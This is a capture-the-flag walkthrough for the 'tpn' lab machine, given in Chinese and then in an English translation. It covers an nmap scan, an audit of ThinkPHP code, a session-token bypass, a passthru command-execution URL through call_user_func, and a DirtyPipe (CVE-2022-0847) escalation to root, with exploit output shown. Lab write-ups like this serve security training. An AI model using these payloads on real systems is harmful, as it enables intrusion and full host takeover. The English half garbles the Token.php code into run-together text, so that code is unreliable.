mazesec tpn

信息收集

# Nmap 7.95 scan initiated Sun Dec 14 16:23:57 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
Host is up (0.00093s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
8080/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-favicon: Unknown favicon MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
|   Supported Methods: GET POST PUT DELETE HEAD OPTIONS
|_  Potentially risky methods: PUT DELETE
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.110.38:8080/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|_      https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 14 16:24:03 2025 -- 1 IP address (1 host up) scanned in 6.80 seconds

漏洞分析

代码审计

$ less config/app.php
# 应用映射(自动多应用模式有效)
    'app_map'          => ["think"=>"admin"], # 要搜索/admin就要搜索/think
    'domain_bind'      => []

既然有路由我们就可以查看网址有哪些

$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello");  //我想给这块设置路由方便你们渗透的,不知道为什么我这个路由是无效的  # 这很奇怪

查看Admin.php

<?php

namespace app\\admin\\controller;

use app\\BaseController;
use app\\middleware\\Check1;   //这有一个检查
class Admin extends BaseController
{
    protected $middleware =["Check1"]; 
    public function hello($a,$b)   
    {
        [call_user_func](https://www.php.net/manual/zh/function.call-user-func.php)($b, $a); #这是一个函数,使用$b($a)
    }

}

根据路由规则http://192.168.110.38:8080/think/Admin/hello?a=&b=

查看Check1

<?php
declare (strict_types = 1);

namespace app\\middleware;

use think\\Response;
use think\\facade\\Session;
class Check1
{
    /**
     * 处理请求
     *
     * @param \\think\\Request $request
     * @param \\Closure       $next
     * @return Response
     */
    public function handle($request, \\Closure $next)
    {
        //
        if ((Session::get("sb")==Session::get("token")&&!empty(Session::get("sb"))&&!empty(Session::get("token")))){    # 检查是否有参数且sb=token才放行

            return $next($request);
        }
        else{
            echo Session::get("sb");
            echo "<br>";

            echo Session("token");
            return response("虽然我是新手,但是懂的一点token验证什么的");

        }
    }
}

我们看一下哪里设置了sb参数grep -r "Session::set" —> app/index/controller/Token.php

<?php

namespace app\index\controller;

use app\BaseController;
use think\facade\Session;

class Token extends BaseController
{
    public function token()
    {
        $message = "请输入成员名称获取令牌";
        if (input("post.sb") == "admin") {    #传入admin获得一个token用于验证http://192.168.110.38:8080/think/Admin/hello?a=&b=
            $sb = $this->request->buildToken("token", "sha1");
            Session::set("sb", $sb);
            $message = "获取成功: " . $sb;
        } elseif (input("post.sb") !== null) {
            $message = "你是猪脑袋嘛,都明摆着了";
        }

这个网址根据路由是http://192.168.110.38:8080/index/token/token

image 155.png

此时我们转到http://192.168.110.38:8080/think/Admin/hello?a=id&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)

利用

http://192.168.110.38:8080/think/Admin/hello?a=payload&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)

在/home/welcome中发现.pwd ,在本地跑一下得到凭据welcome:eecho

权限提升

运行linpeas.sh得到

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: less probable
   Tags: ubuntu=(20.04|21.04),debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

编译好程序后

welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000  -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)

经验教训

没仔细查看route路由,花费了大量时间

mazesec tpn

Information Gathering

# Nmap 7.95 scan started on Sunday, December 14, 2025, at 16:23:57, as follows:
# /usr/lib/nmap/nmap --privileged -sV -sC -v -oN 192.168.110.38.nmap 192.168.110.38
Nmap scan report for 192.168.110.38
The host is up (latency: 0.00093 seconds).
998 closed TCP ports were not displayed (they were reset).
PORT     STATE      SERVICE      VERSION
22/tcp   open       ssh         OpenSSH 8.4p1      Debian 5+deb11u3      (Protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7  (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d  (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb  (ED25519)
8080/tcp   open       http        Apache httpd 2.4.62     (Debian)
|_http-server-header: Apache/2.4.62      (Debian)
|_http-favicon: Unknown favicon     MD5: AEE698715B7790C59A995DDB20C8625E
| http-methods:
|   Supported methods: GET, POST, PUT, DELETE, HEAD, OPTIONS
|_  Potentially risky methods: PUT, DELETE
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      The httponly flag is not set
| http-git:
|   192.168.110.38:8080/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file ‘description’ to name it...
|     Remotes:
|_      https://github.com/LSP1025923/thinkphp.git
|_http-title: Thinkphp5
|_http-open-proxy: The proxy might be redirecting requests
MAC Address: 08:00:27:95:3F:EA  (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Data files were read from: /usr/share/nmap
Service detection completed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap completed on Sunday, December 14, 2025, at 16:24:03 — 1 IP address (1 host up) was scanned in 6.80 seconds

Vulnerability Analysis

Code Audit

$ less config/app.php

Application Mapping (valid for automatic multi-application mode)

'app_map'          => ["think"=>"admin"],  # To search for "admin", you need to search for "think"
'domain_bind'      => []

Since we have the routing configuration, we can check what URLs are available:

```bash
$ grep -r 'Route::'
app/admin/route/app.php:Route::rule("sb/:a/:b","Admin/hello");  // I wanted to set up this route for your penetration testing purposes, but for some reason, it doesn't work. That's strange.

Let’s take a look at the Admin.php file:

<?php

namespace app\\admin\\controller;

use app\\BaseController;
use app\\middleware\\Check1;   // This is a middleware component

class Admin extends BaseController
{
    protected $middleware = ["Check1"]; 
    public function hello($a, $b)   
    {
        [call_user_func](https://www.php.net/manual/zh/function.call-user-func.php)($b, $a);  // This is a function that uses $b and $a as parameters
    }
}

According to the routing rule http://192.168.110.38:8080/think/Admin/hello?a=&b=:

Why isn’t it http://192.168.110.38:8080/think/Admin/hello/a(parameter)/b(parameter)?

The reason is that there’s a rule in the config/route.php file:

/ Default routing variable rule: 'default_route_pattern' => '[1-9]', The variable can only contain digits from 1 to 9.

Now let’s examine the Check1 middleware component:

<?php
declare (strict_types = 1);

namespace app\\middleware;

use think\\Response;
use think\\facade\\Session;

class Check1
{
    /**
     * Handles requests
     *
     * @param \\think\\Request $request
     * @param \\Closure $next
     * @return Response
     */
    public function handle($request, \\Closure $next)
    {
        //
        if ((Session::get("sb") == Session::get("token") && !empty(Session::get("sb")) && !empty(Session::get("token")) {  // Only allows access if "sb" equals "token" and both are not empty
            return $next($request);
        }
        else {
            echo Session::get("sb");
            echo "<br>";
            echo Session("token");
            return response("Although I’m new, I understand some basics about token validation.");
        }
    }
}

Let’s find where the sb parameter is set: grep -r "Session::set" —> app/index-controller/Token.php

<?php

namespace app\index\controller;

use app\BaseController;
use think\facade\Session;

class Token extends BaseController { public function token() { message = "Please enter a member name to obtain a token."; if (input("post.sb") == "admin") { // Passing 'admin' as a parameter to generate a token for verification at http://192.168.110.38:8080/think/Admin/hello?a=&b= sb = this>request>buildToken("token","sha1");Session::set("sb",this->request->buildToken("token", "sha1"); Session::set("sb", sb); message="Tokenobtainedsuccessfully:".message = "Token obtained successfully: " . sb; } elseif (input(“post.sb”) !== null) { $message = “You must be really stupid to not understand this obvious requirement.”; } } }

The corresponding URL for this functionality is http://192.168.110.38:8080/index/token/token.

image 155.png

At this point, we navigate to http://192.168.110.38:8080/think/Admin/hello?a=id&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)

Exploitation

http://192.168.110.38:8080/think/Admin/hello?a=payload&b=[passthru](https://www.php.net/manual/zh/function.passthru.php)

The .pwd file was found in the /home/welcome directory; executing it locally yielded the password welcome:eecho.

Privilege Escalation

Running linpeas.sh revealed the following information:

[+] [CVE-2022-0847] DirtyPipe
   Details: https://dirtypipe.cm4all.com/
   Exposure: Less probable
   Tags: ubuntu=(20.04|21.04), debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

After compiling the program:

welcome@tpN:~$ ./test
Usage: ./test SUID
welcome@tpN:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
welcome@tpN:~$ ./test /usr/bin/sudo
[+] Hijacking the SUID binary..
[+] Dropping the SUID shell..
[+] Restoring the SUID binary..
[+] Obtaining root access shell.. (Don’t forget to clean up /tmp/sh;))

Lessons Learned

I didn’t carefully check the route table, which cost me a lot of time.